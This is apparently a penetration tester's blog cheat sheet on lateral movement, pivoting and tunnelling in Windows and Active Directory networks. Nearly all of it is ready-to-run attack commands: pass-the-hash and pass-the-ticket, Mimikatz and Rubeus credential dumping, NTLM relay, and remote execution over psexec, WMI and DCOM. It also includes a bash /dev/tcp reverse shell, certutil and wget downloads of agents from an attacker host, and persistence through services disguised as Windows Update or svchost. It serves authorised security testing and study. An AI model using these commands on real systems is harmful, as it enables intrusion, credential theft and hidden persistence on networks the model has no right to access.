Skip to main content
Background Image

VAPT Notes (Lateral Movement, Network Pivoting & Tunnelling)

7496 words
Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Lateral Movement, Network Pivoting & Tunnelling
#

Environment Setup
#

# Essential Variables - Set these at the beginning of your engagement
export TARGET_IP="10.10.10.100"           # Primary target IP
export TARGET_NETWORK="10.10.10.0/24"     # Target network CIDR
export DC_IP="10.10.10.1"                 # Domain Controller IP
export LOCAL_ATTACKER_IP="10.10.14.5"     # Your attacking machine IP
export LOCAL_ATTACKER_PORT="443"          # Your listener port
export DOMAIN="corp.local"                 # Target domain name

Lateral Movement
#

# === PASS-THE-HASH (PTH) ===

# Impacket psexec
psexec.py -hashes :NTLM_HASH corp.local/Administrator@TARGET_IP

# Impacket wmiexec (stealthier, no service creation)
wmiexec.py -hashes :NTLM_HASH corp.local/Administrator@TARGET_IP

# Impacket smbexec
smbexec.py -hashes :NTLM_HASH corp.local/Administrator@TARGET_IP

# Impacket dcomexec
dcomexec.py -hashes :NTLM_HASH corp.local/Administrator@TARGET_IP

# Impacket atexec (scheduled task)
atexec.py -hashes :NTLM_HASH corp.local/Administrator@TARGET_IP "whoami"

# NetExec (multiple protocols)
nxc smb TARGET_IP -u Administrator -H NTLM_HASH -x "whoami"
nxc winrm TARGET_IP -u Administrator -H NTLM_HASH -x "whoami"
nxc rdp TARGET_IP -u Administrator -H NTLM_HASH
nxc mssql TARGET_IP -u Administrator -H NTLM_HASH -x "whoami"

# Evil-WinRM
evil-winrm -i TARGET_IP -u Administrator -H NTLM_HASH

# Mimikatz PTH (Windows)
.\mimikatz.exe "sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:NTLM_HASH /run:cmd.exe" "exit"

# Invoke-TheHash (PowerShell)
Invoke-WMIExec -Target TARGET_IP -Domain corp.local -Username Administrator -Hash NTLM_HASH -Command "whoami"

# === PASS-THE-TICKET (PTT) ===

# Export tickets (Mimikatz)
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

# Import ticket (Mimikatz)
.\mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"

# Export tickets (Rubeus)
.\Rubeus.exe dump /service:krbtgt /nowrap

# Import ticket (Rubeus)
.\Rubeus.exe ptt /ticket:BASE64_TICKET

# Verify ticket loaded
klist

# Use ticket to access resources
dir \\DC01.corp.local\C$
Enter-PSSession -ComputerName TARGET.corp.local

# Pass-the-Ticket (Linux)
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@target.corp.local
smbclient.py -k -no-pass corp.local/Administrator@target.corp.local

# === OVERPASS-THE-HASH (OPTH) ===

# Request TGT using NTLM hash
.\Rubeus.exe asktgt /user:Administrator /domain:corp.local /rc4:NTLM_HASH /ptt

# With AES key (more stealthy)
.\Rubeus.exe asktgt /user:Administrator /domain:corp.local /aes256:AES_KEY /ptt

# Mimikatz OPTH
.\mimikatz.exe "sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:NTLM_HASH /run:powershell.exe" "exit"

# From new PowerShell window, request TGT is automatic on first Kerberos auth
dir \\DC01.corp.local\C$

# Linux OPTH
getTGT.py corp.local/Administrator -hashes :NTLM_HASH
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@target.corp.local

# === WMI EXECUTION ===

# Impacket wmiexec
wmiexec.py corp.local/Administrator:'Welcome123!'@TARGET_IP

# With hash
wmiexec.py -hashes :NTLM_HASH corp.local/Administrator@TARGET_IP

# NetExec WMI
nxc smb TARGET_IP -u Administrator -p 'Welcome123!' -x "whoami" --exec-method wmiexec

# PowerShell WMI
$cred = Get-Credential
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd /c whoami" -ComputerName TARGET_IP -Credential $cred

# WMIC (Windows)
wmic /node:TARGET_IP /user:Administrator /password:Welcome123! process call create "cmd.exe /c whoami > C:\output.txt"

# === DCOM EXECUTION ===

# Impacket dcomexec
dcomexec.py corp.local/Administrator:'Welcome123!'@TARGET_IP

# With hash
dcomexec.py -hashes :NTLM_HASH corp.local/Administrator@TARGET_IP

# NetExec DCOM
nxc smb TARGET_IP -u Administrator -p 'Welcome123!' -x "whoami" --exec-method dcomexec

# PowerShell DCOM (MMC20.Application)
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET_IP"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc.exe","Minimized")

# ShellWindows DCOM
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("ShellWindows","TARGET_IP"))
$item = $com.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)

# ShellBrowserWindow DCOM
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("ShellBrowserWindow","TARGET_IP"))
$com.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)

# === PSEXEC ===

# Impacket psexec
psexec.py corp.local/Administrator:'Welcome123!'@TARGET_IP

# With hash
psexec.py -hashes :NTLM_HASH corp.local/Administrator@TARGET_IP

# NetExec psexec
nxc smb TARGET_IP -u Administrator -p 'Welcome123!' -x "whoami" --exec-method smbexec

# Sysinternals PSExec (Windows)
.\PsExec.exe \\TARGET_IP -u Administrator -p Welcome123! cmd.exe

# Copy and execute
.\PsExec.exe \\TARGET_IP -u Administrator -p Welcome123! -c payload.exe

# === SCHEDULED TASKS ===

# Impacket atexec
atexec.py corp.local/Administrator:'Welcome123!'@TARGET_IP "whoami"

# With hash
atexec.py -hashes :NTLM_HASH corp.local/Administrator@TARGET_IP "whoami"

# NetExec scheduled task
nxc smb TARGET_IP -u Administrator -p 'Welcome123!' -x "whoami" --exec-method atexec

# Create scheduled task (Windows)
schtasks /create /tn "Update" /tr "C:\Windows\Temp\payload.exe" /sc once /st 00:00 /s TARGET_IP /u Administrator /p Welcome123!
schtasks /run /tn "Update" /s TARGET_IP /u Administrator /p Welcome123!
schtasks /delete /tn "Update" /f /s TARGET_IP /u Administrator /p Welcome123!

# PowerShell scheduled task
$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c whoami"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date)
Register-ScheduledTask -TaskName "Update" -Action $action -Trigger $trigger -User "SYSTEM" -CimSession TARGET_IP

# === WINRM / POWERSHELL REMOTING ===

# Evil-WinRM
evil-winrm -i TARGET_IP -u Administrator -p 'Welcome123!'
evil-winrm -i TARGET_IP -u Administrator -H NTLM_HASH

# PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName TARGET_IP -Credential $cred

# Execute command
Invoke-Command -ComputerName TARGET_IP -Credential $cred -ScriptBlock {whoami}

# Execute script
Invoke-Command -ComputerName TARGET_IP -Credential $cred -FilePath C:\script.ps1

# Multiple computers
Invoke-Command -ComputerName TARGET1,TARGET2,TARGET3 -Credential $cred -ScriptBlock {whoami}

# NetExec WinRM
nxc winrm TARGET_IP -u Administrator -p 'Welcome123!' -x "whoami"
nxc winrm TARGET_IP -u Administrator -H NTLM_HASH -x "whoami"

# === RDP ===

# xfreerdp
xfreerdp /v:TARGET_IP /u:Administrator /p:'Welcome123!' /cert:ignore /dynamic-resolution +clipboard

# With PTH (requires Restricted Admin mode)
xfreerdp /v:TARGET_IP /u:Administrator /pth:NTLM_HASH /cert:ignore

# rdesktop
rdesktop -u Administrator -p 'Welcome123!' -g 1280x720 TARGET_IP

# NetExec RDP
nxc rdp TARGET_IP -u Administrator -p 'Welcome123!'
nxc rdp TARGET_IP -u Administrator -H NTLM_HASH

# === SMB RELAY ===

# ntlmrelayx to multiple targets
ntlmrelayx.py -tf targets.txt -smb2support

# Relay to specific target with command execution
ntlmrelayx.py -t TARGET_IP -smb2support -c "whoami"

# Relay with socks proxy
ntlmrelayx.py -tf targets.txt -smb2support -socks

# Use socks proxy
proxychains psexec.py DOMAIN/USER@TARGET_IP

# === RESPONDER + NTLM RELAY ===

# Capture NTLM hashes with Responder
responder -I eth0 -wrf

# Relay captured hashes
ntlmrelayx.py -tf targets.txt -smb2support

# === PIVOT THROUGH COMPROMISED HOST ===

# SSH tunnel
ssh -L 3389:TARGET_IP:3389 user@PIVOT_HOST

# SSH SOCKS proxy
ssh -D 1080 user@PIVOT_HOST
# Configure proxychains to use 127.0.0.1:1080
proxychains psexec.py corp.local/Administrator@TARGET_IP

# Chisel (HTTP tunnel)
# On attacker
./chisel server -p 8080 --reverse

# On pivot host
.\chisel.exe client ATTACKER_IP:8080 R:socks

# Ligolo-ng (modern tunneling)
# On attacker
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

# On pivot
.\agent.exe -connect ATTACKER_IP:11601 -ignore-cert

Network Pivoting & Tunnelling
#

SSH Tunnelling
#

Local Port Forwarding
#

# === BASIC LOCAL PORT FORWARDING ===

# Forward local port 8080 → target:80 via pivot
ssh -L 8080:TARGET_IP:80 user@PIVOT_HOST
# Access: http://localhost:8080

# Forward to multiple targets
ssh -L 8080:TARGET1:80 -L 8443:TARGET2:443 -L 3389:TARGET3:3389 user@PIVOT_HOST

# Background execution (daemon mode)
ssh -f -N -L 8080:TARGET_IP:80 user@PIVOT_HOST

# Bind to all interfaces (DANGEROUS - exposes service publicly)
ssh -L 0.0.0.0:8080:TARGET_IP:80 user@PIVOT_HOST

# Bind to specific interface
ssh -L 192.168.1.100:8080:TARGET_IP:80 user@PIVOT_HOST

# === ADVANCED LOCAL PORT FORWARDING ===

# Forward through multiple hops
ssh -L 8080:TARGET_IP:80 -J jumphost1,jumphost2 user@PIVOT_HOST

# Forward with keep-alive (prevent timeout)
ssh -o ServerAliveInterval=60 -o ServerAliveCountMax=3 -L 8080:TARGET_IP:80 user@PIVOT_HOST

# Forward with compression (slow connections)
ssh -C -L 8080:TARGET_IP:80 user@PIVOT_HOST

# Forward with specific SSH key
ssh -i /path/to/key.pem -L 8080:TARGET_IP:80 user@PIVOT_HOST

# Forward privileged port (requires root locally)
sudo ssh -L 443:TARGET_IP:443 user@PIVOT_HOST

# === MULTIPLE PORT FORWARDING ===

# Forward entire range (scripted)
for port in {3389,445,135,139}; do
    ssh -f -N -L $port:TARGET_IP:$port user@PIVOT_HOST
done

# Forward multiple services
ssh -L 8080:web.internal:80 \
    -L 1433:sql.internal:1433 \
    -L 3389:dc.internal:3389 \
    -L 445:fileserver.internal:445 \
    user@PIVOT_HOST

# === SSH CONFIG FOR PERSISTENT TUNNELS ===

# Create ~/.ssh/config entry
cat >> ~/.ssh/config << 'EOF'
Host pivot
    HostName PIVOT_HOST
    User user
    IdentityFile ~/.ssh/pivot_key
    LocalForward 8080 TARGET_IP:80
    LocalForward 8443 TARGET_IP:443
    ServerAliveInterval 60
    ServerAliveCountMax 3
    Compression yes
EOF

# Connect with saved config
ssh pivot

# === TROUBLESHOOTING ===

# Check if port is already in use
lsof -i :8080
netstat -tlnp | grep 8080

# Kill existing SSH tunnel
pkill -f "ssh.*8080:TARGET_IP:80"

# Verbose mode for debugging
ssh -v -L 8080:TARGET_IP:80 user@PIVOT_HOST

# Check tunnel is working
curl -v http://localhost:8080
nmap -sT -p 8080 localhost

# === USING FORWARDED PORTS ===

# RDP through tunnel
xfreerdp /v:localhost:3389 /u:Administrator /p:password

# SMB through tunnel
smbclient //localhost/C$ -p 445 -U Administrator

# MSSQL through tunnel
sqsh -S localhost:1433 -U sa -P password

Dynamic SOCKS Proxy
#

# === BASIC SOCKS PROXY ===

# Create SOCKS5 proxy on local port 1080
ssh -D 1080 user@PIVOT_HOST

# Background execution
ssh -f -N -D 1080 user@PIVOT_HOST

# Bind to all interfaces
ssh -D 0.0.0.0:1080 user@PIVOT_HOST

# === SOCKS WITH KEEP-ALIVE ===

# Prevent disconnection
ssh -o ServerAliveInterval=60 -o ServerAliveCountMax=3 -D 1080 user@PIVOT_HOST

# With compression
ssh -C -D 1080 user@PIVOT_HOST

# === PROXYCHAINS CONFIGURATION ===

# Configure proxychains4
cat > /etc/proxychains4.conf << 'EOF'
strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
socks5 127.0.0.1 1080
EOF

# Or create local config
cat > proxychains.conf << 'EOF'
strict_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 1080
EOF

# Use local config
proxychains4 -f proxychains.conf nmap -sT TARGET_IP

# === USING SOCKS PROXY ===

# Proxychains with various tools
proxychains4 nmap -sT -Pn TARGET_IP
proxychains4 curl http://TARGET_IP
proxychains4 firefox
proxychains4 msfconsole

# Impacket tools through SOCKS
proxychains4 psexec.py domain/user:password@TARGET_IP
proxychains4 secretsdump.py domain/user:password@TARGET_IP

# NetExec through SOCKS
proxychains4 nxc smb TARGET_IP -u user -p password

# SSH through SOCKS (ProxyJump alternative)
proxychains4 ssh user@TARGET_IP

# === FIREFOX SOCKS CONFIGURATION ===

# Configure Firefox manually:
# Preferences → Network Settings → Manual proxy configuration
# SOCKS Host: 127.0.0.1
# Port: 1080
# SOCKS v5
# ☑ Proxy DNS when using SOCKS v5

# Or use FoxyProxy extension for easier management

# === BROWSER THROUGH SOCKS ===

# Chrome/Chromium with SOCKS
google-chrome --proxy-server="socks5://127.0.0.1:1080"

# Firefox with SOCKS
firefox --proxy-server="socks5://127.0.0.1:1080"

# === CURL THROUGH SOCKS ===

# Direct SOCKS usage
curl --socks5 127.0.0.1:1080 http://TARGET_IP

# With authentication
curl --socks5 user:pass@127.0.0.1:1080 http://TARGET_IP

# SOCKS4
curl --socks4 127.0.0.1:1080 http://TARGET_IP

# === NMAP THROUGH SOCKS ===

# TCP connect scan only (SYN doesn't work through SOCKS)
proxychains4 nmap -sT -Pn -p 22,80,443 TARGET_IP

# Service detection
proxychains4 nmap -sT -sV -Pn TARGET_IP

# Full scan
proxychains4 nmap -sT -Pn -p- --min-rate 1000 TARGET_IP

# === MULTIPLE SOCKS PROXIES ===

# Proxychains chaining (multiple proxies)
cat > proxychains.conf << 'EOF'
strict_chain
[ProxyList]
socks5 127.0.0.1 1080
socks5 127.0.0.1 1081
socks5 127.0.0.1 1082
EOF

# Chain through multiple SSH tunnels
ssh -D 1080 user1@pivot1
ssh -D 1081 user2@pivot2
ssh -D 1082 user3@pivot3

# === SOCKS WITH SSH CONFIG ===

cat >> ~/.ssh/config << 'EOF'
Host socks-pivot
    HostName PIVOT_HOST
    User user
    DynamicForward 1080
    ServerAliveInterval 60
    ServerAliveCountMax 3
EOF

# Connect
ssh socks-pivot

# === TROUBLESHOOTING ===

# Test SOCKS proxy
curl -x socks5://127.0.0.1:1080 http://ipinfo.io

# Check SOCKS is listening
netstat -tlnp | grep 1080
lsof -i :1080

# Test with ncat
ncat --proxy-type socks5 --proxy 127.0.0.1:1080 TARGET_IP 80

Remote Port Forwarding
#

# === BASIC REMOTE PORT FORWARDING ===

# Forward pivot's port 8080 → attacker's localhost:80
ssh -R 8080:localhost:80 user@PIVOT_HOST

# On pivot host
curl http://localhost:8080

# === REVERSE SHELL VIA REMOTE FORWARD ===

# Setup listener on attacker
nc -lvnp 4444

# Create remote forward
ssh -R 4445:localhost:4444 user@PIVOT_HOST

# On internal target (connect to pivot:4445)
bash -i >& /dev/tcp/PIVOT_HOST/4445 0>&1

# === BIND TO EXTERNAL INTERFACE (PIVOT) ===

# Requires GatewayPorts yes in sshd_config on pivot
ssh -R 0.0.0.0:8080:localhost:80 user@PIVOT_HOST

# Access from anywhere
curl http://PIVOT_HOST:8080

# === REVERSE SOCKS PROXY ===

# Requires OpenSSH 7.6+ on server (pivot)
ssh -R 1080 user@PIVOT_HOST

# On pivot, use SOCKS proxy to reach attacker's network
curl --socks5 localhost:1080 http://ATTACKER_NETWORK_IP

# === EXFILTRATION VIA REMOTE FORWARD ===

# Setup web server on attacker
python3 -m http.server 80

# Forward pivot's port to attacker's web server
ssh -R 8080:localhost:80 user@PIVOT_HOST

# On pivot or internal hosts, download files
curl http://PIVOT_HOST:8080/tools.zip -O

# === MULTIPLE REMOTE FORWARDS ===

ssh -R 8080:localhost:80 \
    -R 4444:localhost:4444 \
    -R 8443:localhost:443 \
    user@PIVOT_HOST

# === SSH CONFIG FOR REMOTE FORWARDING ===

cat >> ~/.ssh/config << 'EOF'
Host reverse-pivot
    HostName PIVOT_HOST
    User user
    RemoteForward 8080 localhost:80
    RemoteForward 4444 localhost:4444
    ServerAliveInterval 60
EOF

ssh reverse-pivot

# === TROUBLESHOOTING ===

# Check sshd_config on pivot allows remote forwarding
# /etc/ssh/sshd_config should have:
# GatewayPorts yes (if binding to external interface)
# AllowTcpForwarding yes

# Verify port is listening on pivot
netstat -tlnp | grep 8080

ProxyJump / Jump Hosts
#

# === BASIC PROXYJUMP ===

# Connect through single jump host
ssh -J jumphost user@TARGET_HOST

# Connect through multiple jump hosts
ssh -J jumphost1,jumphost2,jumphost3 user@TARGET_HOST

# ProxyJump with port forwarding
ssh -J jumphost -L 8080:TARGET_IP:80 user@PIVOT_HOST

# ProxyJump with SOCKS
ssh -J jumphost -D 1080 user@PIVOT_HOST

# === SSH CONFIG WITH PROXYJUMP ===

cat >> ~/.ssh/config << 'EOF'
Host jumphost
    HostName JUMPHOST_IP
    User jumpuser
    IdentityFile ~/.ssh/jump_key

Host target
    HostName TARGET_IP
    User targetuser
    ProxyJump jumphost
    IdentityFile ~/.ssh/target_key
EOF

# Connect
ssh target

# === LEGACY PROXYCOMMAND ===

# For older SSH versions without ProxyJump
cat >> ~/.ssh/config << 'EOF'
Host target
    HostName TARGET_IP
    User targetuser
    ProxyCommand ssh -W %h:%p jumphost
EOF

# With netcat
ProxyCommand ssh jumphost nc %h %p

# === CHAINING JUMPS ===

# Three-hop connection
ssh -J jump1,jump2 user@target

# Four-hop with port forward
ssh -J jump1,jump2,jump3 -L 8080:internal:80 user@target

# === FILE TRANSFER THROUGH JUMPS ===

# SCP through jump host
scp -o ProxyJump=jumphost file.txt user@target:/tmp/

# From target through jump
scp -o ProxyJump=jumphost user@target:/tmp/file.txt ./

# Rsync through jump
rsync -avz -e "ssh -J jumphost" /local/path/ user@target:/remote/path/

Ligolo-ng Tunneling
#

# === SETUP LIGOLO-NG ===

# On attacker machine
# Create TUN interface
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Start proxy (listener)
./proxy -selfcert -laddr 0.0.0.0:11601

# With authentication
./proxy -selfcert -laddr 0.0.0.0:11601 -auth-user user -auth-pass password

# === DEPLOY AGENT ===

# Windows agent
certutil -urlcache -f http://ATTACKER_IP/agent.exe agent.exe
.\agent.exe -connect ATTACKER_IP:11601 -ignore-cert

# With authentication
.\agent.exe -connect ATTACKER_IP:11601 -ignore-cert -username user -password password

# Linux agent
wget http://ATTACKER_IP/agent -O agent
chmod +x agent
./agent -connect ATTACKER_IP:11601 -ignore-cert

# Background execution (Linux)
nohup ./agent -connect ATTACKER_IP:11601 -ignore-cert &

# As systemd service (persistence)
cat > /etc/systemd/system/ligolo.service << 'EOF'
[Unit]
Description=Ligolo Agent
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/agent -connect ATTACKER_IP:11601 -ignore-cert
Restart=always

[Install]
WantedBy=multi-user.target
EOF

systemctl enable ligolo
systemctl start ligolo

# === CONFIGURE ROUTING ===

# In ligolo proxy shell
session                    # Select active session
ifconfig                   # View agent's network interfaces
start --tun ligolo         # Start tunnel

# Add routes on attacker (in separate terminal)
sudo ip route add 192.168.1.0/24 dev ligolo
sudo ip route add 10.10.10.0/24 dev ligolo

# Verify routes
ip route show

# === BASIC TUNNELING ===

# After routes are added, access internal network directly
nmap -sT 192.168.1.0/24
curl http://192.168.1.10
ssh user@10.10.10.50

# === PORT FORWARDING (LISTENERS) ===

# Forward attacker's 8080 → agent's localhost:80
listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:80 --tcp

# Forward to specific internal host
listener_add --addr 0.0.0.0:3389 --to 192.168.1.10:3389 --tcp

# UDP forwarding
listener_add --addr 0.0.0.0:161 --to 192.168.1.10:161 --udp

# List active listeners
listener_list

# Remove listener
listener_rm <listener_id>

# === MULTI-HOP PIVOTING ===

# Scenario: Attacker → Pivot1 (192.168.1.50) → Pivot2 (10.10.10.50) → Internal (172.16.0.0/24)

# Step 1: Deploy agent on Pivot1
./agent -connect ATTACKER_IP:11601 -ignore-cert

# Step 2: On attacker, add route to Pivot1's network
sudo ip route add 192.168.1.0/24 dev ligolo

# Step 3: Deploy agent on Pivot2 (from Pivot1)
scp agent user@10.10.10.50:/tmp/
ssh user@10.10.10.50 "/tmp/agent -connect ATTACKER_IP:11601 -ignore-cert"

# Step 4: Select Pivot2 session and add route
session                    # Select Pivot2 session
start --tun ligolo
# On attacker
sudo ip route add 172.16.0.0/24 dev ligolo

# Step 5: Access final internal network
nmap 172.16.0.0/24

# === SESSION MANAGEMENT ===

# List sessions
session

# Select session
session <session_id>

# Session information
info

# Kill session
stop

# === LIGOLO WITH SOCAT (ADDITIONAL FLEXIBILITY) ===

# Forward through ligolo to socat
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp

# On agent, use socat to forward
socat TCP-LISTEN:4444,fork TCP:INTERNAL_TARGET:80

# === LIGOLO AUTO-ROUTING SCRIPT ===

#!/bin/bash
# auto-route.sh - Automatically add routes for ligolo sessions

INTERFACE="ligolo"

# Get all networks from ligolo session
networks=$(echo "ifconfig" | ./proxy | grep -oP '\d+\.\d+\.\d+\.\d+/\d+')

for net in $networks; do
    echo "[+] Adding route: $net"
    sudo ip route add $net dev $INTERFACE
done

# === CLEANUP ===

# Remove routes
sudo ip route del 192.168.1.0/24 dev ligolo
sudo ip route del 10.10.10.0/24 dev ligolo

# Remove TUN interface
sudo ip link delete ligolo

# === TROUBLESHOOTING ===

# Check TUN interface
ip link show ligolo
ip addr show ligolo

# Check routes
ip route show

# Test connectivity through tunnel
ping -c 1 192.168.1.1
curl -v http://192.168.1.10

# Check ligolo logs
# Verbose mode
./proxy -selfcert -laddr 0.0.0.0:11601 -v

# Agent logs
.\agent.exe -connect ATTACKER_IP:11601 -ignore-cert -v

# === OPSEC CONSIDERATIONS ===

# Use HTTPS (default with -selfcert)
# Encrypt agent binary
# Use custom port (not 11601)
# Agent process name customization
# Clean up logs and artifacts

# Rename agent binary
mv agent systemd-update
chmod +x systemd-update
./systemd-update -connect ATTACKER_IP:443 -ignore-cert

# === WINDOWS-SPECIFIC ===

# Run agent as service (persistence)
sc create "Windows Update Service" binpath= "C:\Windows\Temp\agent.exe -connect ATTACKER_IP:11601 -ignore-cert" start= auto
sc start "Windows Update Service"

# Check agent is running
tasklist | findstr agent.exe
netstat -ano | findstr 11601

Chisel Tunneling
#

# === SETUP CHISEL ===

# Download latest release
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gunzip chisel_linux_amd64.gz
chmod +x chisel_linux_amd64
mv chisel_linux_amd64 chisel

# === REVERSE SOCKS PROXY (MOST COMMON) ===

# On attacker (server)
./chisel server -p 8000 --reverse

# With authentication
./chisel server -p 8000 --reverse --auth user:password

# On victim (client)
./chisel client ATTACKER_IP:8000 R:socks

# Windows
.\chisel.exe client ATTACKER_IP:8000 R:socks

# Configure proxychains
cat >> /etc/proxychains4.conf << 'EOF'
[ProxyList]
socks5 127.0.0.1 1080
EOF

# Use tools through SOCKS
proxychains4 nmap -sT TARGET_IP
proxychains4 psexec.py domain/user@TARGET_IP

# === REVERSE PORT FORWARDING ===

# On attacker (server)
./chisel server -p 8000 --reverse

# On victim: Forward internal_target:80 → attacker:8080
./chisel client ATTACKER_IP:8000 R:8080:internal_target:80

# Access forwarded port
curl http://localhost:8080

# Multiple port forwards
./chisel client ATTACKER_IP:8000 R:8080:target1:80 R:3389:target2:3389 R:1433:target3:1433

# === LOCAL PORT FORWARDING (FORWARD MODE) ===

# On attacker (server)
./chisel server -p 8000

# On victim: Forward victim_local:8080 → internal_target:80
./chisel client ATTACKER_IP:8000 8080:internal_target:80

# Access on victim
curl http://localhost:8080

# === CHISEL WITH SOCKS4 ===

# Server
./chisel server -p 8000 --socks5

# Client with SOCKS4
./chisel client ATTACKER_IP:8000 R:socks4

# === CHISEL OVER HTTP(S) ===

# Server with HTTPS
./chisel server -p 443 --reverse --tls-key key.pem --tls-cert cert.pem

# Client with HTTPS
./chisel client https://ATTACKER_IP:443 R:socks

# === CHISEL WITH AUTHENTICATION ===

# Server with auth
./chisel server -p 8000 --reverse --auth user:StrongP@ssw0rd!

# Client with auth
./chisel client --auth user:StrongP@ssw0rd! ATTACKER_IP:8000 R:socks

# === CHISEL FINGERPRINTING EVASION ===

# Custom headers and settings
./chisel server -p 8000 --reverse --backend http://example.com

# Custom keepalive
./chisel client --keepalive 60s ATTACKER_IP:8000 R:socks

# === MULTI-HOP WITH CHISEL ===

# Attacker → Pivot1 → Pivot2 → Internal

# Pivot1 (first hop)
./chisel server -p 8000 --reverse

# Pivot2 connects to Pivot1
./chisel client PIVOT1_IP:8000 R:8001:localhost:8001

# On Pivot2, run server
./chisel server -p 8001 --reverse

# Internal host connects to Pivot2
./chisel client PIVOT2_IP:8001 R:socks

# Attacker accesses through chain
proxychains4 nmap INTERNAL_TARGET

# === CHISEL AS BACKGROUND SERVICE ===

# Linux systemd service
cat > /etc/systemd/system/chisel.service << 'EOF'
[Unit]
Description=Chisel Client
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/chisel client ATTACKER_IP:8000 R:socks
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

systemctl enable chisel
systemctl start chisel

# Windows scheduled task
schtasks /create /tn "SystemUpdate" /tr "C:\Windows\Temp\chisel.exe client ATTACKER_IP:8000 R:socks" /sc onstart /ru SYSTEM

# === CHISEL WITH SOCAT (ADDITIONAL LAYER) ===

# Wrap chisel in socat for additional obfuscation
socat TCP-LISTEN:9000,fork EXEC:"./chisel client ATTACKER_IP:8000 R:socks"

# === CLEANUP ===

# Kill chisel client
pkill chisel
taskkill /F /IM chisel.exe

# Remove artifacts
rm -f chisel
del chisel.exe

# === TROUBLESHOOTING ===

# Verbose mode
./chisel server -p 8000 --reverse -v
./chisel client ATTACKER_IP:8000 R:socks -v

# Check connection
netstat -tlnp | grep 8000
netstat -ano | findstr 8000

# Test SOCKS proxy
curl -x socks5://127.0.0.1:1080 http://ipinfo.io

# Check chisel is running
ps aux | grep chisel
tasklist | findstr chisel

# === OPSEC CONSIDERATIONS ===

# Rename binary
mv chisel systemd-daemon
mv chisel.exe svchost.exe

# Use HTTPS (port 443)
./chisel server -p 443 --reverse

# Custom authentication
./chisel server --auth $(openssl rand -base64 32)

# Limit connections
./chisel server -p 8000 --reverse --authfile users.json

# DNS tunneling alternative
# Chisel supports DNS tunneling with custom builds

Metasploit Pivoting
#

# === AUTOROUTE (AUTOMATIC ROUTING) ===

# Method 1: Post-exploitation module
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 192.168.1.0/24
set NETMASK 255.255.255.0
run

# Add multiple subnets
set SUBNET 10.10.10.0/24
run

# Method 2: Direct command in meterpreter session
meterpreter > run autoroute -s 192.168.1.0/24
meterpreter > run autoroute -s 10.10.10.0/24

# Method 3: MSF console command
route add 192.168.1.0 255.255.255.0 SESSION_ID
route add 10.10.10.0 255.255.255.0 SESSION_ID

# View current routes
route print
meterpreter > run autoroute -p

# Delete route
route delete 192.168.1.0 255.255.255.0 SESSION_ID
meterpreter > run autoroute -d 192.168.1.0/24

# === SOCKS PROXY ===

# Setup SOCKS4a proxy (older)
use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
set SRVPORT 1080
run -j

# Setup SOCKS5 proxy (recommended)
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set VERSION 5
run -j

# With authentication
set USERNAME user
set PASSWORD password
run -j

# Stop SOCKS proxy
jobs
kill <job_id>

# Configure proxychains
cat >> /etc/proxychains4.conf << 'EOF'
[ProxyList]
socks5 127.0.0.1 1080
EOF

# Use through proxychains
proxychains4 nmap -sT -Pn TARGET_IP
proxychains4 psexec.py domain/user@TARGET_IP

# === PORT FORWARDING ===

# Local port forward (attacker → pivot → target)
meterpreter > portfwd add -l 8080 -p 80 -r TARGET_IP
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.1.10
meterpreter > portfwd add -l 1433 -p 1433 -r 10.10.10.50

# List port forwards
meterpreter > portfwd list

# Delete specific forward
meterpreter > portfwd delete -l 8080 -p 80 -r TARGET_IP

# Delete all forwards
meterpreter > portfwd flush

# Access forwarded port
curl http://localhost:8080
xfreerdp /v:localhost:3389 /u:Administrator

# Reverse port forward (target → pivot → attacker)
meterpreter > portfwd add -R -l 4444 -p 4444 -L ATTACKER_IP

# === PIVOTING WITH MODULES ===

# Run modules through pivot
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
set THREADS 10
run

# Exploit through pivot
use exploit/windows/smb/psexec
set RHOSTS 192.168.1.10
set SMBUser Administrator
set SMBPass password
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
set LPORT 4444
exploit

# === METASPLOIT WITH EXTERNAL SOCKS ===

# Configure MSF to use external SOCKS proxy
setg Proxies socks5:127.0.0.1:1080
setg ReverseAllowProxy true

# Test proxy
curl --socks5 127.0.0.1:1080 http://TARGET_IP

# Unset proxy
unsetg Proxies

# === AUXILIARY SCANNERS THROUGH PIVOT ===

# SMB scanner
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS 192.168.1.0/24
set SMBUser Administrator
set SMBPass password
run

# HTTP scanner
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.0/24
set THREADS 20
run

# SSH scanner
use auxiliary/scanner/ssh/ssh_version
